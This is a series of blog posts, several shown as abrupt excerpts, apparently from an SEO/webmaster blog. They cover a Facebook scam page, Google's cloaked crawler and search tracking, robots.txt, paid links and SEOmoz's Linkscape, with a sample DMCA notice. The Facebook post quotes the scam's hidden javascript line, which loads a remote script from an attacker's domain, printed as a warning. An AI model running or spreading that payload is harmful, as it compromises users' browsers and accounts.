Facebook has never been known for it’s safety. It is a site designed so that the least Internet savvy people out there can sign up and network with millions of other people, both those they know and those they don’t, with only a minimal amount of technical know-how required (ie. how to sign up, and how to browse). It is a giant playground filled with games and people to talk to from all over the world, luring in droves of people who, when they come, know nothing about “scareware”, or “phishing scams”, or even how to clean a virus from their machine if they get one. Sure, they’ve been told that if they visit porn sites they could very well get a virus, but hey, this is Facebook, everyone is on Facebook… it must be safe. The result is a gigantic community of gullible marks just waiting to be exploited or infected by scammers and hackers.

That is why a couple of years ago I wrote a post on how to prevent getting hacked on Facebook (as well as on Twitter or Myspace). I happen to have quite a few friends and family who are not highly knowledgeable when it comes to the Internet, and through talking to them I came to realize that some of the things I take for granted many people were just not aware of. In the article I went into depth on some of the very basics of Internet security, such as what is the address bar in the browser, and how you needed to be sure you were on the site you thought you were on. That one simple tip could have saved millions of victims of phishing scams, had they just known where to look. Now, some fucking moron developer employed by Mark Zuckerberg has gone and rendered that advice pretty much pointless, at least as far as Facebook is concerned.

For those of you who own WordPress blogs, you are probably aware that if you get hacked one of the biggest dangers to your readers is the iframe hack. For those of you who don’t, or who are not familiar with html, an iframe is an element on a webpage that allows you to embed a second webpage into it. It’s very common and a perfectly normal feature of the html language. Iframes in and of themselves are not dangerous. Google AdSense , when shown on a webpage other than Google, is in an iframe. The same goes for Facebook “Like” buttons. So when you visit a page that has either of those, you are visiting Google or Facebook at the same time. The important thing for webmasters to note is that you only ever embed iframes from sites you trust. The reason this is so crucial is because once you embed an iframe from a site other than your own, you have no control whatsoever over what content is served from that iframe to your visitors. None. Nadda. Zilch.

The reason that hackers like utilizing iframes for hacking is that it allows them to serve malicious code and viruses to people while they are visiting sites that they trust. If you are out there browsing some seedy sites and popups show up telling you to click on a link or that you might have a virus you are much less likely to believe it. It’s simple psychology, and your guard is already up. This is much less true if you are on a site you visit every single day with no problems.

Apparently I missed it when it happened, but a couple of months ago some genius programmer at Facebook decided to introduce a way for people to utilize iframes into Facebook Pages. I only found out about it myself when I discovered one of these pages yesterday. It was a link on a friend’s wall purporting to show pics of Osama bin Laden dead. I could tell right away that it was a scam, so I went to see just how potentially damaging it was. The first thing that struck me was that this was a page actually on Facebook itself, although it was giving instructions to enter in a series of keyboard commands, as if there were Javascript it was trying to get you to trigger. I moused around a bit, and realized there were some hidden forms on the page, which was really odd, so I went ahead and turned off all styles on the page. That’s what I saw what was going on. This is what the page looked like with normal styles turned on:

(click to enlarge)

Clicking that button then revealed these instructions:

What was not revealed, however, was the hidden <textarea> containing Javascript code that would then be fired if you did follow those instructions:

<textarea id="c">javascript:(a=(b=document).createElement('script')).src='//themafiafamily.net/bin/bl.js',b.body.appendChild(a);void(0)</textarea>

This causes a script to be injected from a domain owned by some hacker, themafiafamily.net, and it’s all downhill from there.

Of course, odds are pages like this won’t stay up for too long when they are created. There is a way to report them, and Facebook will eventually take them down once they investigate. However, there is no way to report them in a way that gets them dealt with in a timely manner. There is no “This page is hacking users” option. In fact, if you look at the “Like” counter on that page you can see that it had already hit over 109,000 people by the time I saw it, and who knows how many more before Facebook bothered to respond to the reports about it. Additionally, there is nothing stopping a hacker from running a legitimate page for a few weeks, attracting millions of people, and then deciding to hit them all with a virus afterwards.

The bottom line is that Facebook not addressing these issues and removing the ability to embed iframes borders on negligence. Currently the FTC goes after companies and organizations that do not adequately protect their user’s data:

Maybe they should start taking a look at companies that don’t adequately protect the actual users as well.

Does this mean that Google really hates torrent sites? Well, not all of them, apparently. The Pirate Bay, world’s largest bittorrent tracker, is still receiving much love from Google:

(click to enlarge)

How long will this listing last is anyone’s guess, but it is interesting in light of the fact that it is the most notorious of all the torrent sites out there. Kind of odd that this would be the one that they missed in their censorship sweep.

A little while later I went into my own bathroom, and while in there happened to glance at my own tub…

I called her back and asked her how much water was in her tub. She said maybe an inch or so. I asked her to go look at it, and she informed me that she was already in there.

Me: “You know that little lever just below the spout? Is it pointed up, or down?”

My mom: “Up”

Me: “Push it down”

(silence… except for the sound of water draining from her tub…)

My mom: “Who the fuck put that up???”

At this point I can barely breathe because I am laughing so hard. She adds more water to the tub, just to make sure it actually is going down, and swears some more.

Me: “Mom, how long has your tub been ‘clogged’?”

My mom: “A week”

I lost it. I’m still giggling as I write this. During her extensive cussing she tried to get me to swear never to tell a soul, but I just had to share.

You may also like: Taylor Swift’s, Um, Like, YouTube Interview

What is surprising, to me anyways, is that it appears that the traffic is actually coming from a bot at Google… a bot that is cloaked, sending fake referrers, and behaving in exactly the same manner as MSN’s referrer spamming bot that first showed up a little over 2 years ago. I blogged about it back then, as did many others. Eventually, after much feedback from the community, they did halt the referrer spam practice. It was a bad idea for them to do it in the first place, and quite a few webmasters were perturbed about it. Two years was too long for it to go on, but at least they did finally stop doing it.

Now it looks like Google, for some unfathomable reason, has decided to start doing the exact same thing. The entries in my friend’s traffic logs looked like this:

74.125.126.81 – - [14/Feb/2010:16:34:03 -0600] “GET / HTTP/1.1″ 200 19361 “http://www.google.com/search?hl=en&q=free&btnG=Google+Search&aq=f&oq=” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)”

72.14.192.3 – - [14/Feb/2010:16:36:28 -0600] “GET / HTTP/1.1″ 200 19361 “http://www.google.com/search?hl=en&q=free&btnG=Google+Search&aq=f&oq=” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)”

The IP’s in question definitely belong to Google (as can be seen here 74.125.126.81, and here 72.14.192.3). However, unlike normal Googlebot IP’s, these are not associated with the Google domain name via dns. For instance, if you do a host lookup on 66.249.71.233 you will see that it resolves to the hostname crawl-66-249-71-233.googlebot.com. The IP’s that the referrer spam is coming from do not resolve to any hostname. Presumably, going on the logic that MSN gave when they were first called out for doing this, the reason for not having a reverse dns associated with the IP’s is to hide the fact that they actually are from Google. Similarly the user-agent of these bots is being cloaked as well. Instead actually identifying as Googlebot, “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”, these bots are pretending to be an actual user using IE6 on Windows.

Unlike actual web surfers, Google, you have no expectation of privacy. When you are a bot, skulking around trying to disguise yourself as someone else is poor netiquette to say the least. I am not sure exactly what prompted you to start doing this, but you really should just stop.

Update:

Barry Schwartz of Search Engine Land contacted Google about this, and they replied back that this is indeed them performing cloaked spidering. However, according to them it is not being done for spam detection purposes, and the particular referrers used were in error:

Turns out, we were running an experiment to detect malware targeting Hot Trends queries related to the Haiti crisis. Because this experiment was developed in response to an urgent situation we moved quickly and as a result used an incorrect Google search referrer which we’re now working to fix. Thanks for calling this issue to our attention and we apologize for any confusion we may have caused.

Shortly thereafter, the tests appeared to have stopped. People stopped thinking that Google was linking to them from their homepage, and in very short time the buzz died down about it.

Yesterday afternoon, someone pointed out to me that the subject came up again during Matt Cutt’s keynote address at PubCon South. According to Lisa Barone’s live blogging efforts the conversation went something like this:

Brett: How about the JavaScript test.

Matt: That was really funny. The team there only thinks about speed. They want to get the results back to users as quick as humanly possible. JavaScript makes the search results a lot faster. Suppose you do a search for flowers, as you’re typing flowers, they can do a query from the back end and fold search results right into the page. You’re still in Google.com and they can pull in the results automatically. It doesn’t give you the referrer. He says the team didn’t think about the referrer aspect. So they stopped. They’ve paused it until they can find out how to keep the referrers.

Ok, fine. So they didn’t know about the referrer issue (and didn’t give me credit for pointing it out to them before it was more than just a test, *cough* *cough*), so they stopped until they can figure out a way to fix it.

Less than 1 hour after reading that, I happened to notice an over-abundance of url’s in the serps that were getting redirected though Google’s url redirection service. For those who are unaware of what I mean by that, it is a tool that Google uses to enhance their own behind-the-scenes tracking of user behavior. You can see it most consistently when Google displays sitelinks. They redirect the clicks through their own tracking mechanism first, so that they can determine how many people are actually using those extra links. Instead of going directly to the page in question, it goes through a link like this:

http://www.google.com/url?q=http://www.bad-neighborhood.com/text-link-tool.htm&ei=in…

If you view one of those links using a header detector, you can see that after doing whatever tracking they do on their backend, they then redirect the user via a 302 Redirect onwards to the final destination page:

User-Agent used to fetch header:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008051206 Firefox/3.0

HTTP/1.0 302 Found
Location: http://www.bad-neighborhood.com/text-link-tool.htm
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Fri, 13 Mar 2009 15:44:42 GMT
Server: gws
Content-Length: 247

Occasionally you will see these Google redirects in the normal serps as well, although usually not. The thing is, I was seeing them on every search I performed. It struck me as odd, until I suddenly realized that every search was being done via AJAX:

Here’s the problem, Google. That will not fix the referrer issue, which is what the issue is with every non-Google analytics package that exists. Without that, then the traffic coming from Google cannot be accurately analyzed (unless, of course, the analytics program has access to whatever it is that Google’s redirect script is recording). For one, a 302 redirect passes on the referrer of the original page, not the one of the tracking script, and for another there are no unencrypted keywords included in your tracking urls. It doesn’t take pushing the test to the live servers to figure this out, either. The engineers had to have known this beforehand. This means that if Matt was correct, and Google did indeed stop the testing until they could make it work with analytics, then the only analytics package they were worried about AJAX serps working with is Google Analytics.

Lisa Barone wrote a piece talking about personal brands and false idols on the web. In it she wrote the following paragraph:

Don’t support personal brands built on smoke and mirrors. Make people work for the brands they’re trying to create. Don’t let them scoble their way in. Don’t accept that someone is important just because they act like they are or someone told you they were.

Apparently Robert is the ultra sensitive type, and didn’t take too kindly to her choice of wordage. Here is his reply:

Wow, Bob. Way to identify with the lowly masses out there.

Back in March of 2007, Matt discussed search results within search results, and Google’s dislike for them:

In general, we’ve seen that users usually don’t want to see search results (or copies of websites via proxies) in their search results. Proxied copies of websites and search results that don’t add much value already fall under our quality guidelines (e.g. “Don’t create multiple pages, subdomains, or domains with substantially duplicate content.” and “Avoid “doorway” pages created just for search engines, or other “cookie cutter” approaches…”), so Google does take action to reduce the impact of those pages in our index.

But just to close the loop on the original question on that thread and clarify that Google reserves the right to reduce the impact of search results and proxied copies of web sites on users, Vanessa also had someone add a line to the quality guidelines page. The new webmaster guideline that you’ll see on that page says “Use robots.txt to prevent crawling of search results pages or other auto-generated pages that don’t add much value for users coming from search engines.” – Matt Cutts

Now, while the Google Webmaster Guidelines still specifically instruct webmasters to block these pages, Matt himself appears to have changed his mind on the issue. Today on Twitter, Matt said this:

The link that Matt provided was to a story discussing the differences between the robots.txt file for the whitehouse.gov website under the Bush regime (cached copy), versus the brand spanking new one that went up as soon as Obama took office. Matt apparently likes it because it means that as far as Google goes, there is “much more crawling allowed” with the new file:

He’s right, of course. The new version only restricts one directory (for now, anyways), the /includes/ one, whereas the old version contained 2,305 path restrictions that pertained to Google (and every other bot, for that matter). Let’s take a look, however, at exactly what the old version was blocking from being indexed:

The first line is for /cgi-bin, which it is quite normal to block. The next 11 lines blocked are all search type pages. Now, even though the Google Webmaster Guidelines very clearly state that those pages should be blocked, since Matt is saying that “more crawling allowed == Matt likes” I would strongly suggest that people not block them in their own robots.txt*. For real. Cause as we all know, Matt > Google Webmaster Guidelines. Seriously.

Some of you may be wondering about the other 2,293 restrictions in the old file. If you look at the restrictions starting at the 13th path listed, and on through the rest of them that Google is supposed to obey, every path ends with /text. Those were the printer friendly versions of other pages, and indexing them would result in duplicate content getting indexed in Google. Last year in February, Matt had this to say about blocking duplicate content:

I often get questions from whitehat sites who are worried that they might receive duplicate content penalties because they have the same article in different formats ( e.g. a paginated version and a printer-ready version). While it’s helpful to try to pick one of those articles and exclude the other version from indexing, typically.. – Matt Cutts

That, however, was last year. As Matt clearly indicates in his tweet today, regardless of what the content actually is, how it was generated, or how many copies of it exist, he would much prefer less restrictive robots.txt files in the future.

Thanks for clarifying, Matt.

UPDATE: Ok, I just got alerted to the fact that these new and improved Whitehouse.gov “allowed pages” are already making it into the serps:

Thank you John Honeck for the heads up.

*Disclaimer: Kidding, btw, for those who can’t detect sarcasm.

Check the source on the post by Arrington, and sure enough, you will find a nice, clean, non-nofollowed link back to MediaWhiz. I have to give them credit too… it was slick the way they covered their tracks on this one. First, they either purchased some links on a couple of lesser known blogs, namely Deep Jive Interests and Digital Inspiration, or they simply waited for someone to just blog about their new product without being asked. This made it at least somewhat plausible that Michael Arrington just happened to stumble across the release of their new product all on his own. Of course, it also helps that the link sale wasn’t discussed openly on a forum, and that Arrington doesn’t publicly list the cost of a content link on TechCrunch anywhere. No, a link sale like this would have been privately negotiated, behind closed doors and away from prying eyes (and out of the sight of potential Google snitches).

How much would a link like this cost? Probably not cheap. It’s not just the raw link juice that has to be factored into the price, either… it’s also the fact that blogs like TechCrunch are so completely above suspicion. It might not have been an all cash transaction, either… there could have been an expensive meal involved in the negotiations, or perhaps even some barter tossed in.

Do I know for a fact that MediaWhiz purchased that link from TechCrunch? Nope. Then again, neither does Google.

Now, I am sure that many people will be buying floods of new content links from this new service, and of course Google, seeing as they have historical link graphs to compare to, will probably easily spot link growth spikes of a certain level. However, there is no way that they will be able to detect content links like this new service is offering that are obtained stealthily. That doesn’t mean they won’t try. Their attempts to do so will no doubt cause much collateral damage to the rankings (and therefore traffic, and revenue) of many legitimate, quality sites out there. Google, however, doesn’t really care about that. You see, it’s not always about quality for Google. Often times, it’s about appearances.

Somewhere along the line, someone stated that they had PageRank for sale, that for a certain price you could buy higher rankings. One of the higher ups at Google caught wind of this, and thought, “Oh, no, we can’t have that… Google is supposed to be ungameable! This will make us look bad!” Right then and there, the war against paid links was launched… and it’s really not a battle that Google can win. Google cannot stop value passing links from being a commodity. What Google can do is drive up the price of links like this, the ones that truly will pass being manually reviewed. Sure, Google can do a ton of damage to the rankings of a lot of sites, and they might even hit an actual paid link here and there… but that won’t help with relevancy. If this really was a battle that was concerned with quality instead of image, then they wouldn’t care about links that were purchased to quality sites. The whole argument about editorial discretion would then actually mean something.

You know, here’s a thought. If Google quit worrying about whether or not a link was paid, and simply worked more on penalizing for linking out to crappy sites, then eventually people would stop linking out just for money, out of self-preservation. The issue of whether or not paid links lowered the quality of the serps would simply go away. It’s a much more elegant solution, don’t you think?

Our purpose is rather simple. We want to make the internet as open as possible. Currently only a select few corporations have a complete and useful index of the web. Our goal is to change that fact by crawling the web and releasing as much information about its structure and content as possible. We plan on doing this in a manner that will cover our costs (selling our index) and releasing it for free for the benefit of all webmasters.

If, again, DotBot is owned by SEOmoz, then actual goal of collecting those webpages was the development of a commercial tool. With that in mind, Rand’s refusal to remove pages from the index that the owners do not want in there takes on a whole new level of unreasonableness. When pressed about it, this is the most Rand is willing to compromise as far as removing sites from the index:

3)SEOmoz will ONLY remove your site from DISPLAYING your data through Linkscape if you add a customized SEOmoz meta tag to each and every page on your site, and even then, only after a 30-60 day time period.

Yes, although we are looking at ways to block an entire site from being shown in the future through a registration system. And yes, we can’t block anything until we’ve re-crawled and re-indexed that page, which can take 30-60 days depending on the speed with which we crawl/re-crawl a given URL.

4)SEOmoz is “unwilling to provide a clear concise way to keep data out of Linkscape.”

That’s what you said, and I merely copied it to point out that it had an exception. I know it’s a fun soundbyte, but without the important caveat in the sentence it was in, it’s really unfair to keep using this phrase. That caveat is that we are willing to provide one clear, concise way to keep data out of Linkscape – the seomoz noindex meta tag.

So, the only way Rand will voluntarily remove your site from his index is if you agree to basically brand your website with a meta tag using his company name, and then wait 30-60 days. Unfortunately for him, that’s really not his call.

You own your website and the data it contains (assuming you did not scrape it from somewhere else, of course), and that ownership is protected under US copyright law. Anyone whose rights are violated under that law have specific remedies available to them under the Digital Millennium Copyright Act.

Now, I cannot stress this strongly enough… these remedies are not intended to harass a website owner. They should be used neither frivolously nor fraudulently, and there are penalties for filing false information. You should under no circumstances perform this process for any urls or domains that you do not explicitly own, and if a counter-notification does get filed then you should in fact follow through with a lawsuit.

For all valid claims, I am outlining an easy to follow process for requesting that your information be removed from his index.

First, verify that your content is indeed in their tool. If it is, then the next step is to contact SEOmoz directly. Give them a chance to rectify the situation within a timely manner. Send a polite request that your entire domain be completely removed from the index powering their Linkscape tool, and for a way to confirm that it has indeed been done once they have. The support email for SEOmoz is listed on the site as sitesupport@seomoz.org, or you can fax them the request at (206) 338-3797. In this request you should list who you are, the address of your domain, and your contact information. Despite Rand’s insistence that they cannot do this, it might turn out that they do in fact have the ability after all. Do not skip the step of contacting them first. For tracking purposes, you might want to CC their ISP with this initial request, to document that you did indeed attempt to resolve the issue with them first, although this is not required. If you do decide to do that, SEOmoz’s ISP is HopOne Internet Corporation. The appropriate email to use for these matters, according to HopOne’s AUP, is abuse@hopone.net, and their fax is (604) 608-2953.

If after a reasonable amount of time, say, 24 hours, they still have not removed your sites information, then you can consider sending a formal DMCA letter to their ISP, HopOne. The requirements for such a letter are very specific, and are laid out in 17 U.S.C. § 512(c)(3), ” Elements of notification”. A sample DMCA notice for this purpose might look something like this:

To: abuse@hopone.net
Subject: Notice of Copyright Infringement
The copyrighted work at issue is the the entire set of links appearing on my domain at {www.mydomain.com}, each comprised of their respective URLs, anchor texts, and attributes, including both those constituting my websites navigation, as well as those linking my website to other websites on the Internet. While I acknowledge than an individual url in and of itself may not be copyrightable, I maintain that the set of links residing on my website taken as a whole or in sections do in fact comprise a structure that is unique and my own property.

The freely accessible URL where my copyrighted material is located is accessed through the gateway page located at http://www.seomoz.org/linkscape . Since the interface that is displaying my content is only visible via an http POST request, it is necessary to enter my domain {www.mydomain.com} into the text box presented, and then press the button labeled “GO”, in order to view the infringing material. Note that while this does demonstrate the existence of the infringing material being used on the server, it is only the one open to the general public without paying a fee, although this request is for the removal of the information from the index completely, including from areas accessible only to paying members of the website.

The contact information for the company of the infringing website, as indicated by their Contact Us page, is as follows:
Office: (206) 632-3171
Fax: (206) 338-3797
sitesupport@seomoz.org
SEOmoz.org
1221 E. Pike St., Suite 200
Seattle, WA 98122

I can be reached at {your@email.com}, or via telephone at {your telephone number}. My mailing address is {your full mailing address, including street and number, any apartment number, city, state, and zip code}.

I have a good faith belief that use of the copyrighted materials described above as allegedly infringing is not authorized by the copyright owner, its agent, or the law.

I swear, under penalty of perjury, that the information in the notification is accurate and that I am the copyright owner or am authorized to act on behalf of the owner of an exclusive right that is allegedly infringed.

At your earliest convenience, please respond to this letter at my email address listed above, and let me know what actions have been taken to resolve this matter. Thank you.

My electronic signature is below:
{Put Your Name Here}

Bottom line is, it would be nice if Rand would simply step up to the plate and actually be the nice guy he wants everyone to believe that he is. Until such time as that actually happens, however, as sad as it may be, this may be our only recourse to keep him from using our information without consent.

While this is a huge breach of netiquette as it pertains to crawlers, at least today Rand finally announced that they are now disclosing their sources for data. In fact, this was how he worded it to the community:

we are now disclosing our sources for data – Rand Fiskin, SEOmoz CEO and really, really open guy

Better late than never, right?

The thing is, as I was looking over the list of bots that you would need to block in order to prevent mozzers from gathering your data, I noticed this subtle, easy to miss pattern in what they were listing. You have to look really, really close to see it, and the untrained eye might never see it at all, but luckily, eventually, I did see it for myself:

That’s right folks, if you do decide to keep moz out by blocking all of the big guys (Google, Yahoo, MSN, Ask, Amazon, and Alexa), the lesser known guys (Dotnetdotcom, Grub, Page-Store, and Exalead), and that one fictional guy they threw in there (Gagablast), you still won’t have them blocked. Fear not though… after much work, I finally figured out that Rand was indeed true to his word, and that they did in fact release enough information to block the bots. All you have to do is add the following lines to your robots.txt, and you’ll be golden*:

User-Agent: *and other data sources
Disallow: /
User-Agent: Additional crawls*
Disallow: /

See? I got ya covered!

Seriously though, despite the fact that Rand and Co. are still less than forthcoming about all of the bots that are used (I’m guessing he doesn’t actually know, to be honest), something much more revealing is highlighted in this information, namely, they lied about having their own crawler.

Let’s take a quick review of some statements Rand made in the initial announcement about the tool:

• Our crawl biases towards having pages and data…
• As others who’ve invested energy into crawling the web…
• our crawl biases towards this “center”…
• Our process for crawling the web…
• Moving forward, we’ll… invest in better and faster crawling…
• In comparing our crawls against the engines…
• we’ll be releasing more information about our crawl…

You also have statements made by moz employee Nick Gerner like this:

• we’re crawling everything we can…

You even have him claiming bullshit like this:

We do prioritize the crawl according to pages we think are important. For now, and probably for the foreseeable future we’re going to rely on link endorsement to make that decision. Make good content, get good links. Keep it publicly available. We’ll get there soon enough – Nick Gerner, moz employee

That’s right, not only did they claim that they were crawling the web, they wanted us to believe that they prioritized how they crawled based on an importance algorithm!

I have to admit, Rand, it’s pretty bold to basically admit this late in the game that you guys lied through your teeth and grossly misrepresented the facts, just so you could appear to have accomplished a much bigger task than you actually did, all in the name of getting more money from webmasters. That’s a much bigger admission than saying you cloaked your bot, if you ask me. Gratz on coming clean.